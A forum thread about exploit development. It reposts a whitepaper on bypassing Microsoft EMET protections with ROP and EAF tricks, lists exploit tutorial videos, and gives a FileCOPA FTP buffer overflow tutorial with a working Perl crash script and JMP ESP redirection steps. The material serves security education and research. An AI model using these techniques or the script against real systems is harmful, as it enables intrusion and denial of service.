NO-MERCY

Hello RST ... First : This Article written by : Jared DeMott | Security Researcher jared.demott@bromium.com you can download This article as pdf from here :--v http://bromiumlabs.files.wordpress.com/2014/02/bypassing-emet-4-1.pdf Src : Bypassing EMET 4.1 | Bromium Labs second : This very important ... your focus pls :-/ Lets Start : 2.0.0 Executive Summary The goal of this study is to gauge how difficult it is to bypass the protections offered by EMET, a popular Microsoft zero- day prevention capability. We initially focused on just the ROP protections, but later expanded the study to include a real world example. We were able to bypass EMET’s protections in example code and with a real world browser exploit. The primary novel elements in our research are: -- 1. Deep study regarding the ROP protections, using example applications to show how to bypass each of the five ROP checks in a generic manner. -- 2. Detailed real world example showing how to defeat all relevant protections. Including a technique to bypass the stack pivot protection, shellcode complete with an EAF bypass, and more. The bypasses leverage generic limitations, and are not easily repaired. The impact of this study shows that technologies that operate on the same plane of execution as potentially malicious code, offer little lasting protection. This is true of EMET and other similar userland protections. 3.0.0 Results Summary We found that each protection either did not apply in our examples or could be bypassed. Table 1 shows a brief summary. 4.0.0 Methodology and Techniques Used We studied EMET 4.0 and 4.1. We use a typical modern computer, and focus on 32 bit userland processes running on 64 bit Windows 7. None of the ROP protections are implemented for 64 bit processes (Dabbadoo, 2013) and thus a study there was not very interesting. The only kernel specific mitigation is the NullPage mitigation designed to make NULL pointer exploits difficult, which also wasn’t as interesting as userland process mitigation bypasses. Also, we focus on bypassing EMET defenses rather than on tricks to disable EMET (which would likely be just as effective). 5.0.0 Introduction As part of the ongoing effort at Microsoft to making computing more trustworthy, they have released a protection for Windows known as EMET, or Enhanced Mitigation Experience Toolkit. Microsoft researchers Neil Sikka (Sikka, 2012), Elias Bachaalany (Bachaalany, 2013), and others have given excellent technical talks on EMET. EMET is a product which can be installed in Windows with the intent of adding further mitigations, to stop common exploit patterns and techniques. Many of the ROP 1 protections in EMET came from the second place winner (Fratric,2012) BlueHat prize contest in 2012 2 . Since I was one of the winners (3 rd place), who also submitted a ROP protection, I figured I would circle around and see how robust the mitigations that made it into EMET are. 6.0.0 ROP Background ROP, or return-oriented programming, is a modern exploitation technique. ROP is an evolution of the ret2lib 3 code reuse idea: bouncing through code that already exists when new code cannot yet be injected and executed because of memory protections. The typical attacker approach is to minimize the ROP portion (because it is painful to write), and use a generic payload (called a shellcode) after the ROP portion. Thus, the ROP portion traditionally just changes executable permission on the current page to execute, or allocates a new executable page. But first, a pivot is often required. That is, the stack pointer needs to be adjusted such that it points into attacker controlled data, because each gadget (small/useful chunk of existing code) is just an address which is returned into, and typically ends with a return instruction, to execute the next gadget. 6.1.0 EMET ROP Protections EMET offers 5 ROP protections, which can be enabled and disabled for each protected application. Figure 1 shows each of the protections. All of them are enabled for our sample program called vuln_prog.exe. Each of the protections is described in brief below. Figure 1: The 5 EMET ROP Protections 6.1.1 LoadLibrary Loading a library is a common need in attacker shellcode; to pull in various API functionality. Thus, LoadLibrary is hooked (detoured as it’s called) and extra sanity checking is done to ensure its use is “valid”. For example, UNC paths are disallowed. How robust is this checking? That is the question we wonder about each of these protections. Also note: there are about 50 functions which are considered “critical”, e.g. hooked. They are jump hooked. Which means it may be possible to jump around the hooks as a possible bypass 4 . This technique is well known and may be DLL specific so we did not investigate that approach. 6.1.2 MemProt The MemProt rule checks memory protection functions like VirtualProtect to make sure they are not trying to mark stack memory as executable for shellcode to be run in. 6.1.3 Caller Before a critical API is allowed to run, EMET disassembles backwards from the return address (and upwards) and verifies that the target is CALLed and not RETurned or JMPed into. 6.1.4 SimExecFlow After a critical API completes, this protection simulates execution forward to ensure the code following it looks normal (and not ROP). The first return address is given on the stack. The subsequent return addresses are deduced by simulating instructions that modify the stack/frame pointer. Each return address must be preceded by a call instruction to appear normal. For both the Caller and SimExecFlow check, legitimate code could break the rule at times, making me wonder about the robustness of this check. 6.1.5 StackPivot Upon entering a critical function, EMET checks to ensure that the stack pointer is within the threads upper and lower specified stack limit. This, guards against pivoting the stack pointer to, say, heap memory controlled by the attacker. 7.0.0 Bypassing EMET ROP Protections Using Sample Programs We discuss the work toward bypassing each of the 5 protections below. 7.1.0 Experiment Setup EMET 4.x was first installed on our test computer. To test the 5 ROP protections, we created a simple program (vuln_prog.exe) which has a trivial stack 5 buffer overflow vulnerability via a file read. That program is protected by EMET as shown in Figure 1. For the vulnerability, we assume that the attacker has: --1. control over the input to trigger the bug --2. an additional memory leak/information disclosure bug 6 --3. and can thus find gadgets in memory in the discovered and sizable DLL. To simulate those conditions we cheat a bit: 1. We use msvcr71.dll as our discovered DLL, since it was so often abused in the past 7 . 2. We therefore don’t have to spend much time fiddling with a real memory leak bug, and searching for gadgets (since that is not the focus of this study). In some cases we even disable ASLR on the main binary and add gadgets to the .exe if proper gadgets aren’t immediately obvious in msvcr71.dll. The assumption is common gadgets can always be found, we just didn’t want to spend time on that. Thus, any part of this experiment could be changed (the type of vulnerability, the discovered DLLs, etc.) to affect negatively or positively the findings. 7.2.0 Caller One of the most straight forward checks is to see if a detoured function is called, or RETed into (the latter being bad). Figure 3 shows the event log for the ROP chain shown in Figure 2. Figure 2: Typical VirtualAlloc ROP chain Figure 3: EMET Blocking the VA ROP code EMET successfully blocked a typical VirtualProtect/VirtualAlloc based ROP chain. The log says “CallerCheck Failed” and some details are given. While there may exist multiple ways to bypass this check, the simplest are probably: ? Use an API other than VirtualProtect/VirtualAlloc, where such APIs exist; E.g. use a non-protected function ? Or find existing code that does a valid ‘call’ to one of those two APIs We choose the first, and called the MSDN Beep function 8 that is within msvcr71.dll. That worked, but seemed too trivial to be an impressive bypass, since Beep doesn’t do anything useful. So we also choose the latter approach. Figure 4 shows a call to VirtualAlloc found in msvcr71.dll. Figure 5 shows the new ROP chain. Figure 6 shows that we are now able to bypass this EMET check and run shellcode. The !vprot command in Figure 6 shows that we did in fact allocate a page with read-write-execute permissions. Note: the shellcode is simply three increment operations and a software breakpoint (int 3). Figure 4: VirtualAlloc Call in msvcr71.dll Figure 5: New VirtualAlloc ROP Chain Figure 6: CallerCheck Bypassed Interestingly, this simple technique, bypasses all of the other ROP checks as well. We know this because no other EMET alerts are triggered. If you are not doing certain behaviors as part of your attack, certain checks will never be triggered. But, this example isn’t real enough, because it lacks a meaningful payload. So, we exchanged the simple NOP/breakpoint shellcode we had, to a stock Metasploit 9 reverse shell payload. Let’s explore this more in the next section. 7.3.0 LoadLibrary Figure 7 shows that EMET will catch a stock Metasploit payload. And it happens at the LoadLibrary (LL), but it’s because of the caller check. The LL rule just checks to see if a UNC path is used to load a remote DLL, which we do not. As before we can call to LL, rather than jump for a bypass here. If we do that, Figure 8 is we see. Figure 7: Stock Metasploit Payload Figure 8 shows that EMET caught our Metasploit payload, but only after the attack succeeded. A non-ROP rule called EAF filtering gets triggered 10 . We’ll explain the EAF check in detail in the real world section of this paper. Figure 8: EMET Blocks a Connect Back Metasploit Payload after the shell is closed Rather than use a typical Metasploit payload (which EMET may catch), we created our own shellcode (Figure 9) which performs similar actions. For example, LoadLibrary and GetProcAddress are used, as they would be in real payloads (except we CALL rather than JMP as Metasploit does). Figure 9: Custom LoadLibrary Shellcode Figure 10 shows the new ROP chain, which uses the custom shellcode we copy into the VirtualAlloc’ed page. The shellcode works to bypass EMETs ROP protections; shown in Figure 11. Figure 10: ROP Chain for our Custom LoadLibrary payload Figure 11: Custom LoadLibrary Payload Bypasses EMET Checks The bypass works because we do not directly RET/JMP into detoured functions. Rather we find locations in code that call the functions of interest and instead RET to those locations. 7.4.0 MemProt The MemProt rule is triggered when VirtualProtect is called, and checks to see if we are remarking stack pages. Since we do not use VirtualProtect to mark stack pages with this shellcode, this rule is inherently bypassed. 7.5.0 SimExecFlow SimExecFlow is trigger after a critical call. It is similar to the caller check triggered before a call. SimExecFlow attempts to verify that the flow of execution that is about to happen is legitimate code; not ROP code. It does this primarily by checked to see if legitimate calls were used rather than RETs to locations. Since we return to code that legitimately calls the critical function (VirtualAlloc), this is rule is also bypassed. 7.6.0 StackPivot We do a pivot in our attack, but since (in our first example) the attacker controlled data is on the stack, this check passes without issues. To make things more interesting, we constructed another program where our input is on the heap. We changed the bug to be a function pointer overwrite on the heap. In light of the current threat landscape (better OS mitigations and less simple bugs), this type of attack is more common than stack overflows. To bypass the StackPivot check, we first use a relocation copy loop to move our ROP chain from the heap to the stack. In our code it is all one assembly code, but in reality it would be a series of ROP gadgets chained together to achieve a similar result. Next we call VirtualAlloc. Then we copy our custom shellcode to the RWX address from VirtualAlloc. Each of the copy operations are shown in Figure 12. The payload we ultimately run is the same as in Figure 9. The pivot copy loop and payload to VA copy are shown in Figure 13. One critical question would be: can such gadgets really be found? We assume that they could be, based on a number of papers that aim to show the Turing-completeness of ROP (Homescu, 2012) techniques. In the next section, we experiment with a real world problem to investigate this assertion. 7.7.0 Example Problem Summary -- 1. We did not directly RET into critical APIs, and thus bypassed the Caller and SimExecFlow rules. -- 2. We avoided UNC paths to bypass the LoadLibrary rule. -- 3. We did not attempt to use VirtualProtect on stack pages, thus bypassing the MemProt rule. -- 4. We avoided the StackPivot rule by (copying and) running our core ROP chain on the stack, and then jumping to wherever our shellcode was. Figure 12: Heap --> Stack --> VirtualAlloc’ed Memory Figure 13: Pivot Copy and Shellcode Copy 8.0.0 Real World Example CVE-2012-4969 is a use-after-free (UAF) IE bug reported on September, 14 2012 by Eric Romang. There is a public exploit for it in Metasploit. Like all Metasploit modules, the exploit is not sophisticated because it depends on the presence of a non-ASLR module. EMET will block the Metasploit exploit, because by default EMET forces all modules to use ASLR. Also, as shown in the prior sections, EMET will block standard Metasploit payloads. 8.1.0 A Better Version We have a better exploit for this same bug. It comes from Peter Vreugdenhil of Exodus Intelligence. His exploit is more sophisticated in the sense that it dynamically finds the base address of ntdll.dll 11 , builds a ROP chain based on that address, and runs a custom WinExec shellcode 12 . After some minor tweaks to the ROP chain, the exploit worked perfectly in our 64bit Windows 7 VM against 32bit IE 9, without EMET installed. 8.2.0 EMET Blocks the Exploit We tried the exploit again, but now with EMET 4.1 installed. EMET blocks the exploit via the stack pivot check 13 . That’s because this exploit attempts to use VirtualProtect to mark the heap as RWX while ESP (because of the stack pivot) is pointing to the heap, rather than the legitimate stack. 8.3.0 Upgrading to Bypass EMET We were curious to see if the exploit could be enhanced to bypass EMET 4.1, using the research we discussed earlier in the paper. Primarily of interest, we wanted to see if we could develop a generic EMET bypass technique for the stack pivot check, because this protection has not been publically bypassed to our knowledge 14 . Other researches (see related works section) have talked about ideas or techniques to bypass some of the other protections. Our stack pivot bypass idea is simple (and similar in spirit to the example problem previously discussed): 1. Pivot the stack pointer to the heap as normal 2. Use a first stage ROP chain to “pop-copy” the second stage ROP chain to the stack 3. Unpivot back to the stack and execute the second stage, which uses VirtualProtect to mark the heap as executable 4. For the final stage, jump off the stack, back to the heap and execute a EMET friendly exploit payload The pop copy we used is based on ntdll 15 and works as shown in Figure 14. Figure 14: Pop-Copy The pop-copy works by popping a DWORD from the input data, and copying it to the desired location (the stack in this case) via a dereferenced move. Then the destination pointer (the stack) is incremented (by 4 for a 32bit system). This particular pop-copy is not space efficient as it produces a total ROP chain that is six times the original size, but this did not matter in our particular example. Work could likely be done to find a more efficient pop-copy gadget. The second stage ROP chain that executes on the stack operates as shown in Figure 16. This ROP chain operates by marking the relevant heap page R/W/X (read, write, and executable) via a VirtualProtect like function. The Figure 16 chain works by setting up arguments for a call to an undocumented ntdll function, NtProtectVirtualMemory, which is a system call. We found that NtProtectVirtualMemory is only hooked when “deep hooks” are enabled. Since deep hooks are off by default, this is a wonderful discovery. Perhaps deep hooks will stay disable for some time as well, due to compatibility issues 16 . The unhooked version of NtProtectVirtualMemory for WOW64 17 IE is pictured in Figure 15. Finally, the second stage ROP chain jumps back to the start of shellcode that is on the executable heap page. Figure 15: Ntdll!NtProtectVirtualMemory Figure 16: Second Stage ROP Chain Each of the gadgets shown in Figure 16 is wrapped in the pop-copy gadget shown in Figure 14. Figure 17 shows the first two gadgets wrapped in a pop-copy. Appended to that final string is the actual shellcode to be executed. After the typical exploit development challenges, plus an interesting challenge described in the next paragraph, we succeeded in bypassing the EMET stack pivot check. The exploit payload is a variation of a typical WinExec shellcode, which simply starts up a calculator, as is the norm for such demonstration exploits. Figure 17: Wrapping ROP chain in pop-copy For our final trick, we do not just bypass the stack pivot, or merely all the ROP checks, but we bypass all of the EMET checks in our enhanced exploit. Once we had the stack pivot protection bypassed, EMET was blocking our exploit with the EAF (Exploit Address Filtering) check (as was happening in our earlier Metasploit payload example). So, we had to add stub code based on Poitr Bania’s 18 Windows XP EAF bypass idea. As far as we know, this bypass is also new as it relates to Windows 7 19 , because we had to modify Bania’s idea to get it working. Figure 18 shows the EAF bypass shellcode. The bypass works by calling NtSetContextThread to disable the current threads hardware breakpoints, which is how EMET detects that a shellcode is attempting to resolve functions via the export table. Figure 18: EAF Bypass For Win7 32bit on 64bit 8.4.0 Real World Summary We bypass or ignore all 12 EMET protections with this exploit. In particular, we were required to focus on bypassing: 1. The stack pivot protection. We avoided it by using a pop-copy to the stack, a second pivot to the stack to execute critical ROP code, and a final jump back to an EMET friendly payload. 2. The EAF filtering. We disabled this protection, by clearing the debug registers, which are key to the protection. 3. Finally, and surprisingly, we bypass the remaining checks by calling an unprotected version of VirtualProtect 20 . 9.0.0 Related Work We are not the first researchers to show that EMET could be bypassed. The following is a partial list of other researchers that have conducted EMET research: ? SkyLined showed how to bypass the export address filtering in EMET 2.0 21 . ? Shahriyar Jalayeri 22 bypassed EMET 3.5 by resolving the ZwProtectVirtualMemory system call via a shared memory pointer, to mark his shellcode R/W/X. Once his shellcode was running he disabled EMET as his primary bypass technique. He released an exploit for a CVE-2011-1260. ? Aaron Portnoy showed how to bypass EMET 4.0 during a Nordic Security Conference talk (Portnoy, 2013). ? 0xdabbad00 released a paper called EMET 4.1 Uncovered (Dabbadoo, 2013), in which he explains EMET, and discusses some hypothetical strengths and weaknesses of the EMET protections. 10.0.0 Conclusions Deciding whether a program is good or bad was essentially determined to be impossible by Alan Turing in 1936 – before the first computer was ever built 23 . Each EMET rule is a check for a certain behavior. If alternate behaviors can achieve the attacker objectives, bypasses are possible. In fact, the ROP protections from the second place BlueHat Prize winner that made it into EMET do not stop ROP at all. The notion of checking at critical points is akin to treating the symptoms of a cold, rather than curing the cold. Perhaps one of the other prize submissions would have better addressed the problem of code reuse. However, as was seen in our research, deploying EMET does mean attackers have to work a little bit harder; payloads need to be customized, and EMET bypass research needs to be conducted. Thus, EMET is good for the price (free), but it can 24 be bypassed by determined attackers. Microsoft freely admits that it is not a prefect protection, and comments from Microsoft speakers at conference talks admit that as well. The objective of EMET is not perfection, but to raise the cost of exploitation 25 . So the question really is not can EMET be bypassed. Rather, does EMET sufficiently raise the cost of exploitation? The answer to that is likely dependent upon the value of the data being protected. For organizations with data of significant value, we submit that EMET does not sufficiently stop customized exploits. 11.0.0 Disclosure and Thoughts on Repair This whitepaper was provided to Microsoft long before speaking about these weaknesses publicly, to provide Microsoft with opportunity to address short comings. In particularly we believe addressing the following weaknesses would help: 1. Hook NtProtectVirtualMemory by default 2. Create a new EAF protection scheme 26 3. Check more than one CALL deep to see if code was RETed into 4. Expand the ROP mitigations to cover 64 bit code But even with those fixes, many of the weaknesses are generic in nature and unlikely to be sufficiently addressed by userland protection technologies like EMET. E.g. EMET does not protect against kernel vulnerabilities, or help against non-exploit attacks such as Java sandbox escapes. Other similar technologies like Anti-Exploit 27 and Core Force 28 suffer from the same generic problem: mitigations that run on an even playing field with malicious code will/can be bypassed given sufficient attacker interest. To counter such attacks, we believe that an approach that does not rely on exploitation payload based vectors is needed. As demonstrated, exploit payloads continue to evolve 29 . 12.0.0 Bibliography Bachaalany, E. (2013). Inside EMET 4.0. Recon. Montreal: http://recon.cx/2013/slides/Recon2013-Elias%20Bachaalany- Inside%20EMET%204.pdf#! Dabbadoo. (2013). EMET 4.1 Uncovered. http://0xdabbad00.com/wp-content/uploads/2013/11/emet_4_1_uncovered.pdf. Fratric, I. (2012). Runtime Prevention of Return-Oriented Programming Attacks. BlueHat Prize Contest. https://ropguard.googlecode.com/svn/trunk/doc/ropguard.pdf. Homescu, e. a. (2012). Microgadgets: Size Does Matter In Turing-complete Return-oriented. WOOT. Bellevue: https://www.usenix.org/system/files/conference/woot12/woot12-final9.pdf. Portnoy, A. (2013). Bypassing all of the things. Nordic Security Conference ? The venue for all people interested in security ? Aaron Portnoy – Bypassing All of the Things. Sikka, N. (2012). Microsoft EMET Exploit Mitigation. NullCon Security Conference. Delhi: !------------------EOF----------------------- Regrads NO-MERCY

1- Thanks .. Usr6 i am send Msg 2 u askin about this topic :- https://rstforums.com/forum/60041-books-android-reverse-engineering.rst link its died & im tried to collect it again from google but im not succeed i need it pls give me New Link 2- Kani Cracking tutorials | Reverse Enginering course all links died if you have copy from it .. i need it too sorry 4 more ???? and Thanks

Hello RST .. Today iam find some Tuts about EXPLOIT DEV , ======================= Windows Exploitation :- ======================= Windows Exploitation (Simple Stack Overflow) This video demos a simple stack overflow exploit. It gives some basic idea about the application that is being exploited, some idea about the exploit and demos how a debugger can be used to perform exploitation. Windows Exploitation (Structured Exception Handler Based Exploitation) This video demos a Structured Exception Handler (SEH) stack overflow exploit. It gives some basic idea about the SEH structure in windows operating system. It explains the technique used to perform exploitation. Windows Exploitation (Heap Spray_ASLR Bypass) This video demos a Heap Spray based stack overflow exploit. It gives some basic idea about the ASLR implemented in windows and explains how to use heap spray technique in exploiting activex components in IE7. Windows Exploitation (Retn Oriented Programming) This video demos the Retn Oriented Programming (ROP) technique to call VirtualProtect method and allocates space on the stack to execute a payload. This technique is used to by pass the hardware Data Execution Prevention (DEP) technique implemented by windows operating system. Currently the video does not have sound, but a new video can be provided if people want it Windows Exploitation (JMP back) This exploit shows an example of how to jump back into shellcode if the space after the control pointer is less than the payload's size Windows Exploitation (SEH + ROP) This exploit shows how to combine SEH and ROP and in this ROP tutorial the voice is clear. ===================== ARM Exploitation :- ===================== ARM Exploitation (Simple Stack Overflow) This exploit describes a simple stack overflow that can be executed against an application on an iOS 5 device. This exploit teaches some basics of ARM architecture and demos a simple application that is used to demonstrate the procedure for exploiting the issue. ARM Exploitation (Retn to LibC) This exploit describes a retn to libc exploit method to bypass the NX bit protection that is implemented on an iOS 5 device. ARM Exploitation (ASLR BYPASS) This exploit describes a brute-force method to bypass the ASLR protection that is implemented on an iOS 5 device. This method is useful to exploit local security exploits and can be used to execute a payload that jailbreaks the device. source : all tuts by : Tom India youtube : https://www.youtube.com/channel/UCpAvITj1kaW4esQX9wA3uNg/videos Regrads Mr . NYTRO : I HOPE TO MOVE ALL EXPLOIT TOPICS AT EXPLOIT DEV & R.E SECTION THAT WILL BE USEFUL THANKS

Hello RST , Exploit Research and Development Megaprimer This is a good Megaprimer its talking about Exploit Development 9 Lessons ... all tuts by : Ajin Abraham Very special Thanks 4 him 1- Buffer Over Flow Explained Buffer overflow is caused when too much data is inserted into a buffer than it can handle. So this may lead to the executing of arbitrary code if a certain memory pointer is overwritten. It's simply like we got a cup full of coffee and when we tried again to fill it, it overflows and this overflowed coffee falls somewhere and cause an unexpected results. The Buffer Overflows can be caused due to Stack overflow, heap overflow etc. resulting in the overwriting of pointers. This video will make you understand what is a Buffer Overflow and how it can be exploited. 2- EIP Overwrite Buffer Overflow Complete tutorial on Buffer Overflow Exploitation in Mini-stream RM-MP3 Converter 3.1.2.1 with immunity debugger and mona.py https://www.youtube.com/watch?v=A4_1Az176cE&list=PLX3EwmWe0cS_5oy86fnqFRfHpxJHjtuyf 3- Eliminating the bad characters in your Exploit (Low Quality) This video explains how you can eliminate the bad characters in the shellcode which can break your exploit. https://www.youtube.com/watch?v=2TVMZ7vqvI0&list=PLX3EwmWe0cS_5oy86fnqFRfHpxJHjtuyf 4- SEH Overwrite Buffer Overflow Complete tutorial on SEH overwrite buffer overflow in Audio Coder 0.8.18.5353 with immunity debugger and mona.py. https://www.youtube.com/watch?v=fIUOiwYTpho&list=PLX3EwmWe0cS_5oy86fnqFRfHpxJHjtuyf 5- Porting Exploit into Metaspoit Port your exploits to metasploit modules with ease using mona.py https://www.youtube.com/watch?v=_Je2-CbECsc&list=PLX3EwmWe0cS_5oy86fnqFRfHpxJHjtuyf 6- Unicode Based Exploit Development Complete tutorial on Exploiting Unicode based Buffer overflows. https://www.youtube.com/watch?v=CdVIR_-d220&list=PLX3EwmWe0cS_5oy86fnqFRfHpxJHjtuyf 7- Mona.py : The Exploit Writer's Swiss Army Knife ==> My Fav Lessons (1) Complete tutorial on Mona.py's usage. https://www.youtube.com/watch?v=D6dRlePXAhI&list=PLX3EwmWe0cS_5oy86fnqFRfHpxJHjtuyf 8- Win32 Egg Hunter ==> My Fav Lessons (2) Detailed Tutorial on Win32 Egg Hunter Implementation. https://www.youtube.com/watch?v=c630azKzxeM&list=PLX3EwmWe0cS_5oy86fnqFRfHpxJHjtuyf 9- DEP Bypassing using ROP Chains ==> My Fav Lessons (3) Detailed Tutorial on the Basics of DEP Bypassing and ROP Chains https://www.youtube.com/watch?v=BLQeuT8hWEU&list=PLX3EwmWe0cS_5oy86fnqFRfHpxJHjtuyf -------------eof--------------- Play list at youtube : ------------------- --- https://www.youtube.com/watch?v=WZ6ha6Ephh0&list=PLX3EwmWe0cS_5oy86fnqFRfHpxJHjtuyf source ; -------- --- Exploit Research and Development Megaprimer ‹ OpenSecurity Copyright © 2013-14 | Open Security | All Rights Reserved. & I Want Thank Mr.Neox for his professionals tuts , Thats show me the light Special Thanks Neox Best Regrads --- NO-MERCY---

Welcome back Mr.neox thanks for that & i will download it now im sure it Great job Regrads Greetings from Egypt

i'm waitting part 5.....==> Master: neox Best Regrads Amazing Words & i respect u you Are the best Of Tech Exploit Devlopment PLS ... EN it Alittle If You Can Thanks .......

Hello all .... --> Writing a buffer overflow attack against a Windows program present several challenges that make it a bit more difficult than writing exploits on a Linux platform. In addition to not having popular tools such as gdb (the GNU Debugger) an attacker is faced with a closed box. Not only are most Windows applications closed source, but the operating system itself doesn't provide much transparency. When taken together this makes an attackers job fairly daunting. Introduction --------------- Writing a buffer overflow attack against a Windows program present several challenges that make it a bit more difficult than writing exploits on a Linux platform. In addition to not having popular tools such as gdb (the GNU Debugger) an attacker is faced with a closed box. Not only are most Windows applications closed source, but the operating system itself doesn't provide much transparency. When taken together this makes an attackers job fairly daunting. Windows buffer overflow attacks are quite possible, however, and I'm writing this tutorial to walk you through developing one such attack. This article assumes some prior knowledge of assembly, x86 architecture, C and Perl programming. I hate to raise the bar like that, but if you're not familiar with these concepts then writing buffer overflows will be next to impossible as their inner workings hinge on all of these topics. While there are many tools you can use to assist in the process of finding and exploiting buffer overflow vulnerabilities, without a thorough understanding of how they work you're going to have a very hard time actually creating new exploits. I'm going to skip over the obligatory explanation of what a buffer overflow or shellcode actually is because others have done a much better job in other places on the web. Poke around and you're sure to find some excellent articles explaining exactly how this sort of attack works. For the purposes of this tutorial we're going to attack an explicit (known) vulnerability in a certain piece of software. You can use this process to develop exploits for other programs as soon as vulnerability announcements are released. Setting Up ------------- For this tutorial you're going to need several things. It's quite handy to have a virtual machine that is running the target program, but this isn't entirely necessary. For the purposes of this tutorial you could use either VMWare Player or VirtualBox to run your virtual machine. You could alternatively install the vulnerable program on your actual machine, but I would advise against this. The exploit developed for this tutorial works on Windows XP service pack 1, but you can easily use the methodology to get a working exploit for Windows 2000 or 2003 (or another XP service pack) as well. I'm going to assume that you're developing this exploit on a Windows (XP) machine, although you could develop under almost any operating system. FileCOPA FTP server is known to have several vulnerabilities. CVE-2006-3726 (National Vulnerability Database (NVD) National Vulnerability Database (CVE-2006-3726)) outlines a buffer overflow attack via a long LIST command. We're going to explore how this vulnerability works and how we can use it to exploit a vulnerable FileCOPA server. You can Google for "download FileCOPA 1.01" and find several places to download a vulnerable version of the server. Note that the software is free for 30 days, but after that time you must pay for it. If you can't find FileCOPA let me know and I can point you towards a copy Once you've downloaded FileCOPA you're going to need a couple of other pieces. Firstly we're going to develop our exploit using Perl, so if you're on Windows I'd recommend downloading ActivePerl from ActiveState. You're also going to need the NASM assembler program that's available on most Linux installations. You might want to set up a Linux virtual machine, or you can use an account on any x86 based Linux machine for that part. Finally you'll need a copy of Olly Debug (v1.10), a free Windows debugging program. You can download Olly Debug from http://www.ollydbg.de/odbg110.zip. You'll also need a special plugin for Olly Debug called OllyUni. OllyUni used to be hosted by Phenoelit.de but thanks to new German anti-hacking laws they had to move it. You can now get OllyUni from PHENOELIT-US.ORG. Once you've got all these tools you're good to go. Getting the FileCOPA Target Running -------------------------------------- The first step in this tutorial is to get a working virtual machine with Windows XP SP 1 on it up and running. Next, install FileCOPA file server on this image. Finally, extract Olly Debug and Olly Uni. Put all the Olly Uni files into the Olly Debug directory. Once this is done fire up the FileCOPA server (if it's not already running). Take note of the virtual machine's IP address for the attack. Demonstrating the Vulnerability ------------------------------------- Now that our target is all set up let's start attacking it. We know there's a problem with long LIST commands being sent to the server. In order to ease our payload delivery we're going to write a Perl script to deliver our attack string. We'll start out simple, but I'm going to give away one hint that you can find on your own but would take a while. Part of getting this exploit working includes passing two arguments to the LIST command so that it triggers the buffer overflow. More will work as well, but you can't just pass a ton of characters in and get an exploitable overflow. You'll notice our original attack string will start with an A then a space (\x20) to form the first argument and start off the second. Our initial attack script will look something like this: #C:\Perl # # FileCopa FTP Exploit # # By Justin C. Klein Keane <justin@madirish.net> # Last Modified July 17, 2008 # use Net::FTP; $target = "192.168.37.128"; $buffer = "A\x20"; $buffer .= "A" x 512; #start the connection $ftp = Net::FTP->new($target, Debug => 0, Timeout => 5) or die "Cannot connect to $host: $@ \n"; $ftp->login("anonymous",'anonymous@nowhere.com') or die "Couldn't log in: $@\n"; $ftp->list($buffer); #clean up $ftp->quit; As soon as you run this script you'll see pretty quickly that it crashes the filecpnt.exe process: Using Olly Debug to Monitor FileCOPA ------------------------------------------- Thus far we've created a denial of service script. We're able to crash the server, but we want to be able to do more than just crash the server, we'd like to be able to run arbitrary commands. In order to do this we're going to need a little more information about what is going on behind the scenes as the server is crashing. Let's go ahead and close up FileCOPA and restart it. Once FileCOPA is up and running start up Olly Debug. Once Olly Debug is running attack the filecpnt.exe process using the File -> Attach option: Once Olly Debug has the attached process you'll see that it fills up registers and pauses the process (note the yellow 'Paused' label in the lower right). In order to proceed you'll need to un pause Olly. Click the blue play button (the arrow pointing right) in the tool bar in order to start FileCOPA again. Now that FileCOPA is running lets fire off our Perl script again. What will happen is that FileCOPA will crash, but Olly will catch the crash. You'll notice if you look back at Olly that it's paused. You'll also be able to look at the registers and the stack at the time of the crash. Examining the Buffer Overflow -------------------------------- As you can see the EIP and the EBP have both been overwritten with 41414141 (the ASCII for "A"). Our overflow worked! Now, the next trick is to control which variables get put into these registers. The EIP and ESP are especially important. The EIP is the "instruction pointer" and points to the next instruction for the processor to execute. If you look in the status bar on Olly you'll see "Access violation when executing [41414141]" - basically the EIP points to an address in memory that the program can't get to and thus it crashes. The EBP is the base pointer, and the ESP is the stack pointer. The ESP is going to be important in a little bit. The Notorious Null Byte Problem ---------------------------------- Let's take a moment and reflect on the null byte problem in buffer overflows. Buffer overflows usually occur when a string (a.k.a. a character array in C) is being copied into a buffer that isn't large enough to hold it (and thus the characters in the string write beyond an array bounds off into stack control space like the base pointer and the instruction pointer). Now, recalling that when C copies a string it identifies the end of a string by a null. Thus, if you try and copy a 200 byte string, but the 100th byte is a null character (0x00) then only the first 100 bytes will be copied because C sees those two zeroes as a null character and aborts the copy. Looking really quickly at the memory that FileCOPA is occupying we can see how this is going to be a problem. Ideally we'd like to simply put the address of our shellcode into the EIP and the processor would happily move to that address and begin executing our shellcode. However, if you look at the buffer overflow payload in the lower right window of Olly you'll see it exists at an address like 0x00B2FE08. Notice that first "00" in the address? If we try and use that to overwrite the EIP it won't work because the copy that's triggering the overflow will stop as soon as it hits those zeroes and the rest of our address won't be written at all. This is the huge pain of buffer overflows, but don't despair, there are ways of dealing with it! Redirecting Program Flow ---------------------------- One item to note is the ESP (or the stack pointer). This holds an address of 0x00B2FE08. If you look into the stack in the lower right hand of Olly you'll see that this address points into our shellcode! We could use this address to start our shellcode. If we could find a way to put the assembly instructions: JMP ESP into the EIP we could actually move program flow into a memory range that we control. There are two caveats to this strategy. The first problem is that the EIP points to a memory address, not to actual instructions. The second problem is that if you look at the address 0x00B2FE08 you'll see there's only about 21 bytes of our buffer overflow code, not nearly enough for shellcode! Let's deal with the first problem then we'll turn to the second. We can end run the problem of putting the jump instruction directly into the EIP by putting the memory address of *another* instruction that is JMP ESP. JMP ESP is a pretty common instruction so we should be able to find it somewhere in memory. Your first instinct might be to read through the instructions that FileCOPA uses to look for a JMP ESP instruction, but there's a problem with this. FileCOPA exists in a memory range that starts with 0x00 and thus we'll run into the null character problem again. However, there is a very clever way to get around this (I take no credit for this idea!). Because system libraries are accessible to programs in Windows (thank the makers for DLL's) we can probably find a JMP ESP instruction in a DLL somewhere. Not only that, but these instructions exist in the 0x77 address range (how convenient) so we can get around the null character problem. In order to find a suitable JMP ESP instruction we're going to use the OllyUni plugin. To do this you're going to have to stop Olly, kill FileCOPA, then restart FileCOPA, restart Olly, attach filecpnt and un pause FileCOPA. Once you've got all this done (get used to this process you're going to have to do it quite a bit in these sorts of exercises) we'll utilize the OllyUni. Right click in the upper right portion of Olly, select Overflow Return Address -> ASCII overflow returns -> Search JMP/CALL ESP Now go get a cup of coffee! The process of searching through all the memory addresses to find this instruction takes some time so have patience. While Olly is working on this you'll see the notice "Finding ASCII (0xXXXXXXXX) - X.X%" in the status bar. The percent will increment as the search progresses. Once OllyUni is done view the log file and pick out a memory location that contains the JMP ESP command. Alternatively you can search in Metasploit's Opcode Database (http://www.metasploit.com/users/opcode/msfopcode.cgi) making sure to select a specific opcode for JMP EBP and the correct operating system. 